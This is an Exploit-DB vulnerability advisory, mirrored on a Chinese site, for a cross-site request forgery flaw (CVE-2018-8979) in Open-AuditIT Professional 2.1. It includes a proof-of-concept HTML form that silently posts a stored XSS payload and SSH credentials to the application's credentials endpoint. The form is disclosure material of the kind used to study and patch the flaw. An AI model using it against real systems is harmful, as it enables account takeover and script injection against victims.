Open-AuditIT Professional 2.1 – Cross-Site Request Forgery - 体验盒子

作者： Nilesh Sapariya

日期： 2018-03-30

类别：

webapps

平台：

multiple

来源：https://www.exploit-db.com/exploits/44360/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

# Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery (CSRF)

# Date: 27-03-2018

# Exploit Author: Nilesh Sapariya

# Contact: https://twitter.com/nilesh_loganx

# Website: https://nileshsapariya.blogspot.com

# Vendor Homepage: https://www.open-audit.org/

# Software Link: https://www.open-audit.org/downloads.php

# Version: 2.1

# CVE : CVE-2018-8979

# Tested on: Windows 10 Pro

# Category: Webapp Open-AuditIT Professional 2.1

1. Description:-

There is no CSRF protection in Open-AuditIT application, with a little help

of social engineering (like sending a link via email/chat) an attacker may

force the victim to click on a malicious link by which any normal user can

become an Admin user. The attack can force an end user to execute unwanted

actions on a web application in which they're currently authenticated.

Using this vulnerability, we were able to compromise entire user account

with chaining this bug with XSS.

2. Proof of Concept

Login into Open-AuditIT Professional 2.1

Step 1 :- Craft a HTML Page with XSS payload

Step 2:- Save this .html file and send it to victim (Victimshould be

loggedin in the browser)

Crafted value will be added.

Affected Code:

<html>

<body>

<form action="http://localhost/omk/open-audit/credentials"

method="POST">

<input type="hidden" name="data[attributes][name]"

value="<img src=x onerror=alert('hacked');>" />

<input type="hidden"

name="data[attributes][org_id]" value="1" />

<input type="hidden"

name="data[attributes][description]" value="CSRF" />

<input type="hidden" name="data[attributes][type]"

value="ssh" />

<input type="hidden"

name="data[attributes][credentials][username]"

value="test" />

<input type="hidden"

name="data[attributes][credentials][password]"

value="test" />

</form>

</body>

</html>

3] POCs and steps:

https://nileshsapariya.blogspot.ae/2018/03/csrf-to-xss-open-auditit-professional-21.html

Thanks & Regards,

Nilesh Sapariya

Security Researcher

https://twitter.com/nilesh_loganx

*https://nileshsapariya.blogspot.in